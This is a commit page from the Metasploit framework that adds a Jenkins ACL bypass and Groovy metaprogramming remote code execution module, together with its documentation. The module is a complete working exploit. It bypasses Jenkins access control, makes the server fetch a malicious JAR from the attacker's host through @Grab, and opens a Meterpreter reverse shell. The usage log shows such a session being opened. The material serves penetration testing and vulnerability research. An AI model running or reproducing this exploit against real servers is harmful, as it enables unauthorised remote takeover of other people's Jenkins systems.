Land #11466, Add Jenkins ACL bypass and metaprogramming RCE
commit
24143f812c
|
@ -0,0 +1,76 @@
|
|||
## Intro
|
||||
|
||||
This module exploits a vulnerability in Jenkins dynamic routing to
|
||||
bypass the `Overall/Read` ACL and leverage Groovy metaprogramming to
|
||||
download and execute a malicious JAR file.
|
||||
|
||||
The ACL bypass gadget is specific to Jenkins <= 2.137 and will not work
|
||||
on later versions of Jenkins.
|
||||
|
||||
Tested against Jenkins 2.137 and Pipeline: Groovy Plugin 2.61.
|
||||
|
||||
## Setup
|
||||
|
||||
1. `git clone https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc`
|
||||
2. `cd cve-2019-1003000-jenkins-rce-poc/sample-vuln`
|
||||
3. Edit `run.sh` and change `2.152-alpine` to `2.137`
|
||||
4. `./run.sh`
|
||||
|
||||
## Targets
|
||||
|
||||
```
|
||||
Id Name
|
||||
-- ----
|
||||
0 Jenkins <= 2.137 (Pipeline: Groovy Plugin <= 2.61)
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
**RPORT**
|
||||
|
||||
Set this to the Jenkins port. The default is 8080.
|
||||
|
||||
**TARGETURI**
|
||||
|
||||
Set this to the Jenkins base path. The default is `/`.
|
||||
|
||||
**SRVPORT**
|
||||
|
||||
Set this to the port on which to serve the payload. Change it from 8080
|
||||
to something like 8081 if you are testing Jenkins locally on port 8080.
|
||||
|
||||
**ForceExploit**
|
||||
|
||||
Set this to `true` to override the `check` result during exploitation.
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
msf5 exploit(multi/http/jenkins_metaprogramming) > run
|
||||
|
||||
[*] Started HTTPS reverse handler on https://192.168.1.2:8443
|
||||
[*] Jenkins 2.137 detected
|
||||
[+] Jenkins 2.137 is a supported target
|
||||
[+] ACL bypass successful
|
||||
[*] Using URL: http://0.0.0.0:8081/
|
||||
[*] Local IP: http://192.168.1.2:8081/
|
||||
[*] Sending Jenkins and Groovy go-go-gadgets
|
||||
[*] HEAD /CarisaChristiansen/Rank/3.3.5/Rank-3.3.5.pom requested
|
||||
[-] Sending 404
|
||||
[*] HEAD /CarisaChristiansen/Rank/3.3.5/Rank-3.3.5.jar requested
|
||||
[+] Sending 200
|
||||
[*] GET /CarisaChristiansen/Rank/3.3.5/Rank-3.3.5.jar requested
|
||||
[+] Sending payload JAR
|
||||
[*] https://192.168.1.2:8443 handling request from 192.168.1.2; (UUID: qlrpxu6t) Staging java payload (54399 bytes) ...
|
||||
[*] Meterpreter session 1 opened (192.168.1.2:8443 -> 192.168.1.2:58688) at 2019-03-15 18:57:24 -0500
|
||||
[*] Server stopped.
|
||||
[!] This exploit may require manual cleanup of '$HOME/.groovy/grapes/CarisaChristiansen' on the target
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: jenkins
|
||||
meterpreter > sysinfo
|
||||
Computer : 6f21b8da2915
|
||||
OS : Linux 4.9.93-linuxkit-aufs (amd64)
|
||||
Meterpreter : java/linux
|
||||
meterpreter >
|
||||
```
|
|
@ -204,7 +204,7 @@ module Exploit::Remote::HttpServer
|
|||
end
|
||||
|
||||
# Set {#on_request_uri} to handle the given +uri+ in addition to the one
|
||||
# specified by the user in URIPATH.
|
||||
# specified by the developer in opts['Path'] or by the user in URIPATH.
|
||||
#
|
||||
# @note This MUST be called from {#primer} so that the service has been set
|
||||
# up but we have not yet entered the listen/accept loop.
|
||||
|
|
|
@ -0,0 +1,280 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HttpServer
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Jenkins ACL Bypass and Metaprogramming RCE',
|
||||
'Description' => %q{
|
||||
This module exploits a vulnerability in Jenkins dynamic routing to
|
||||
bypass the Overall/Read ACL and leverage Groovy metaprogramming to
|
||||
download and execute a malicious JAR file.
|
||||
|
||||
The ACL bypass gadget is specific to Jenkins <= 2.137 and will not work
|
||||
on later versions of Jenkins.
|
||||
|
||||
Tested against Jenkins 2.137 and Pipeline: Groovy Plugin 2.61.
|
||||
},
|
||||
'Author' => [
|
||||
'Orange Tsai', # Discovery and PoC
|
||||
'wvu' # Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2019-1003000'], # Script Security
|
||||
['CVE', '2019-1003001'], # Pipeline: Groovy
|
||||
['CVE', '2019-1003002'], # Pipeline: Declarative
|
||||
['EDB', '46427'],
|
||||
['URL', 'https://jenkins.io/security/advisory/2019-01-08/'],
|
||||
['URL', 'https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html'],
|
||||
['URL', 'https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html'],
|
||||
['URL', 'https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc']
|
||||
],
|
||||
'DisclosureDate' => '2019-01-08', # Public disclosure
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'java',
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Privileged' => false,
|
||||
'Targets' => [
|
||||
['Jenkins <= 2.137 (Pipeline: Groovy Plugin <= 2.61)',
|
||||
'Version' => Gem::Version.new('2.137')
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DefaultOptions' => {'PAYLOAD' => 'java/meterpreter/reverse_https'},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
|
||||
'Reliability' => [REPEATABLE_SESSION]
|
||||
},
|
||||
'Stance' => Stance::Aggressive # Be aggressive, b-e aggressive!
|
||||
))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('TARGETURI', [true, 'Base path to Jenkins', '/'])
|
||||
])
|
||||
|
||||
register_advanced_options([
|
||||
OptBool.new('ForceExploit', [false, 'Override check result', false])
|
||||
])
|
||||
|
||||
deregister_options('URIPATH')
|
||||
end
|
||||
|
||||
=begin
|
||||
http://jenkins.local/securityRealm/user/admin/search/index?q=[keyword]
|
||||
=end
|
||||
def check
|
||||
checkcode = CheckCode::Safe
|
||||
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => go_go_gadget1('/search/index'),
|
||||
'vars_get' => {'q' => 'a'}
|
||||
)
|
||||
|
||||
unless res && (version = res.headers['X-Jenkins'])
|
||||
vprint_error('Jenkins not detected')
|
||||
return CheckCode::Unknown
|
||||
end
|
||||
|
||||
vprint_status("Jenkins #{version} detected")
|
||||
checkcode = CheckCode::Detected
|
||||
|
||||
if Gem::Version.new(version) > target['Version']
|
||||
vprint_error("Jenkins #{version} is not a supported target")
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
vprint_good("Jenkins #{version} is a supported target")
|
||||
checkcode = CheckCode::Appears
|
||||
|
||||
if res.body.include?('Administrator')
|
||||
vprint_good('ACL bypass successful')
|
||||
checkcode = CheckCode::Vulnerable
|
||||
else
|
||||
vprint_error('ACL bypass unsuccessful')
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
checkcode
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless check == CheckCode::Vulnerable || datastore['ForceExploit']
|
||||
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
|
||||
end
|
||||
|
||||
# NOTE: Jenkins/Groovy/Ivy uses HTTP unconditionally, so we can't use HTTPS
|
||||
# HACK: Both HttpClient and HttpServer use datastore['SSL']
|
||||
ssl = datastore['SSL']
|
||||
datastore['SSL'] = false
|
||||
start_service('Path' => '/')
|
||||
datastore['SSL'] = ssl
|
||||
|
||||
print_status('Sending Jenkins and Groovy go-go-gadgets')
|
||||
send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => go_go_gadget1,
|
||||
'vars_get' => {'value' => go_go_gadget2}
|
||||
)
|
||||
end
|
||||
|
||||
#
|
||||
# Exploit methods
|
||||
#
|
||||
|
||||
=begin
|
||||
http://jenkins.local/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword
|
||||
?apiUrl=http://169.254.169.254/%23
|
||||
&login=orange
|
||||
&password=tsai
|
||||
=end
|
||||
def go_go_gadget1(custom_uri = nil)
|
||||
# NOTE: See CVE-2018-1000408 for why we don't want to randomize the username
|
||||
acl_bypass = normalize_uri(target_uri.path, '/securityRealm/user/admin')
|
||||
|
||||
return normalize_uri(acl_bypass, custom_uri) if custom_uri
|
||||
|
||||
normalize_uri(
|
||||
acl_bypass,
|
||||
'/descriptorByName',
|
||||
'/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile'
|
||||
)
|
||||
end
|
||||
|
||||
=begin
|
||||
http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
|
||||
?value=
|
||||
@GrabConfig(disableChecksums=true)%0a
|
||||
@GrabResolver(name='orange.tw', root='http://[your_host]/')%0a
|
||||
@Grab(group='tw.orange', module='poc', version='1')%0a
|
||||
import Orange;
|
||||
=end
|
||||
def go_go_gadget2
|
||||
(
|
||||
<<~EOF
|
||||
@GrabConfig(disableChecksums=true)
|
||||
@GrabResolver('http://#{srvhost_addr}:#{srvport}/')
|
||||
@Grab('#{vendor}:#{app}:#{version}')
|
||||
import #{app}
|
||||
EOF
|
||||
).strip
|
||||
end
|
||||
|
||||
#
|
||||
# Payload methods
|
||||
#
|
||||
|
||||
#
|
||||
# If you deviate from the following sequence, you will suffer!
|
||||
#
|
||||
# HEAD /path/to/pom.xml -> 404
|
||||
# HEAD /path/to/payload.jar -> 200
|
||||
# GET /path/to/payload.jar -> 200
|
||||
#
|
||||
def on_request_uri(cli, request)
|
||||
vprint_status("#{request.method} #{request.uri} requested")
|
||||
|
||||
unless %w[HEAD GET].include?(request.method)
|
||||
vprint_error("Ignoring #{request.method} request")
|
||||
return
|
||||
end
|
||||
|
||||
if request.method == 'HEAD'
|
||||
if request.uri != payload_uri
|
||||
vprint_error('Sending 404')
|
||||
return send_not_found(cli)
|
||||
end
|
||||
|
||||
vprint_good('Sending 200')
|
||||
return send_response(cli, '')
|
||||
end
|
||||
|
||||
if request.uri != payload_uri
|
||||
vprint_error('Sending bogus file')
|
||||
return send_response(cli, "#{Faker::Hacker.say_something_smart}\n")
|
||||
end
|
||||
|
||||
vprint_good('Sending payload JAR')
|
||||
send_response(
|
||||
cli,
|
||||
payload_jar,
|
||||
'Content-Type' => 'application/java-archive'
|
||||
)
|
||||
|
||||
# XXX: $HOME may not work in some cases
|
||||
register_dir_for_cleanup("$HOME/.groovy/grapes/#{vendor}")
|
||||
end
|
||||
|
||||
def payload_jar
|
||||
jar = payload.encoded_jar
|
||||
|
||||
jar.add_file("#{app}.class", exploit_class)
|
||||
jar.add_file(
|
||||
'META-INF/services/org.codehaus.groovy.plugins.Runners',
|
||||
"#{app}\n"
|
||||
)
|
||||
|
||||
jar.pack
|
||||
end
|
||||
|
||||
=begin javac Exploit.java
|
||||
import metasploit.Payload;
|
||||
|
||||
public class Exploit {
|
||||
public Exploit(){
|
||||
try {
|
||||
Payload.main(null);
|
||||
} catch (Exception e) { }
|
||||
|
||||
}
|
||||
}
|
||||
=end
|
||||
def exploit_class
|
||||
klass = Rex::Text.decode_base64(
|
||||
<<~EOF
|
||||
yv66vgAAADMAFQoABQAMCgANAA4HAA8HABAHABEBAAY8aW5pdD4BAAMoKVYB
|
||||
AARDb2RlAQANU3RhY2tNYXBUYWJsZQcAEAcADwwABgAHBwASDAATABQBABNq
|
||||
YXZhL2xhbmcvRXhjZXB0aW9uAQAHRXhwbG9pdAEAEGphdmEvbGFuZy9PYmpl
|
||||
Y3QBABJtZXRhc3Bsb2l0L1BheWxvYWQBAARtYWluAQAWKFtMamF2YS9sYW5n
|
||||
L1N0cmluZzspVgAhAAQABQAAAAAAAQABAAYABwABAAgAAAA3AAEAAgAAAA0q
|
||||
twABAbgAAqcABEyxAAEABAAIAAsAAwABAAkAAAAQAAL/AAsAAQcACgABBwAL
|
||||
AAAA
|
||||
EOF
|
||||
)
|
||||
|
||||
# Replace length-prefixed string "Exploit" with a random one
|
||||
klass.sub(/.Exploit/, "#{[app.length].pack('C')}#{app}")
|
||||
end
|
||||
|
||||
#
|
||||
# Utility methods
|
||||
#
|
||||
|
||||
def payload_uri
|
||||
"/#{vendor}/#{app}/#{version}/#{app}-#{version}.jar"
|
||||
end
|
||||
|
||||
def vendor
|
||||
@vendor ||= Faker::App.author.split(/[^[:alpha:]]/).join
|
||||
end
|
||||
|
||||
def app
|
||||
@app ||= Faker::App.name.split(/[^[:alpha:]]/).join
|
||||
end
|
||||
|
||||
def version
|
||||
@version ||= Faker::App.semantic_version
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue